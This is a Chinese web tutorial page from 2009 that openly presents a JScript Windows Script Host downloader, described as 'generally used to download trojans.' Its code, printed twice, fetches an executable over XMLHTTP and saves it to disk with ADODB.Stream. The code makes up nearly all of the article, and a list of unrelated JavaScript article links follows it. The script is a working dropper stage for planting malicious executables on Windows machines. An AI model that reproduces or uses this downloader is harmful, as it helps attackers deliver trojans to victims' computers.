JScript 腳本實(shí)現(xiàn)文件下載 一般用于下載木馬
更新時間:2009年10月29日 23:16:32 作者:
腳本實(shí)現(xiàn)文件下載,這個是jscript的,腳本之家以前曾發(fā)布vbscript版本的,原理一樣的。
jscript版本
var objArgs=WScript.Arguments;
var sGet=new ActiveXObject("ADODB.Stream");
var xGet=null;
try{
xGet=new XMLHttpRequest();
}catch(e){
try{
xGet=new ActiveXObject("Msxml2.XMLHTTP");
}catch(ex){
try{
xGet=new ActiveXObject("Microsoft.XMLHTTP");
}catch(e3){
xGet=null;
}
}
}
if(xGet != null){
xGet.Open("GET","http://localhost/aplan/mycalc.exe",0);
xGet.Send();
sGet.Mode=3;
sGet.Type=1;
sGet.Open();
sGet.Write(xGet.ResponseBody);
sGet.SaveToFile("D:\\haha.exe",2);
}
vbscript版本的請查看這篇文章。
復(fù)制代碼 代碼如下:
var objArgs=WScript.Arguments;
var sGet=new ActiveXObject("ADODB.Stream");
var xGet=null;
try{
xGet=new XMLHttpRequest();
}catch(e){
try{
xGet=new ActiveXObject("Msxml2.XMLHTTP");
}catch(ex){
try{
xGet=new ActiveXObject("Microsoft.XMLHTTP");
}catch(e3){
xGet=null;
}
}
}
if(xGet != null){
xGet.Open("GET","http://localhost/aplan/mycalc.exe",0);
xGet.Send();
sGet.Mode=3;
sGet.Type=1;
sGet.Open();
sGet.Write(xGet.ResponseBody);
sGet.SaveToFile("D:\\haha.exe",2);
}
vbscript版本的請查看這篇文章。
您可能感興趣的文章:
相關(guān)文章
javascript 根據(jù)指定字符把字符串拆分為數(shù)組
javascript 根據(jù)指定字符把字符串拆分為數(shù)組2009-05-05
拖動table標(biāo)題實(shí)現(xiàn)改變td的大小(css+js代碼)
拖動列寬的表格table標(biāo)題同時改變td的大小,本文將以實(shí)例演示為大家呈現(xiàn),感興趣的朋友可以參考下哈,希望對你學(xué)習(xí)js或者css有所幫助2013-04-04
JS結(jié)合bootstrap實(shí)現(xiàn)基本的增刪改查功能
這篇文章主要介紹了JS結(jié)合bootstrap實(shí)現(xiàn)基本的增刪改查功能,需要的朋友可以參考下2016-07-07
javascript獲取鼠標(biāo)位置部分的實(shí)例代碼(兼容IE,FF)
這篇文章介紹了javascript獲取鼠標(biāo)位置部分的實(shí)例代碼,有需要的朋友可以參考一下2013-08-08
Enter轉(zhuǎn)換為Tab的小例子(兼容IE,Firefox)
這篇文章介紹了Enter轉(zhuǎn)換為Tab的小例子(兼容IE,Firefox),有需要的朋友可以參考一下2013-11-11
使用javascript訪問XML數(shù)據(jù)的實(shí)例
使用javascript訪問XML數(shù)據(jù)的實(shí)例...2006-12-12
JavaScript實(shí)現(xiàn)GriwView單列全選(自寫代碼)
在 GridView 里有一系列的 Checkbox ,要實(shí)現(xiàn)對其全選或全不選,二網(wǎng)上的都不否和要求,于是我自己寫了JavaScript 代碼,貼出來供大家參考2013-05-05

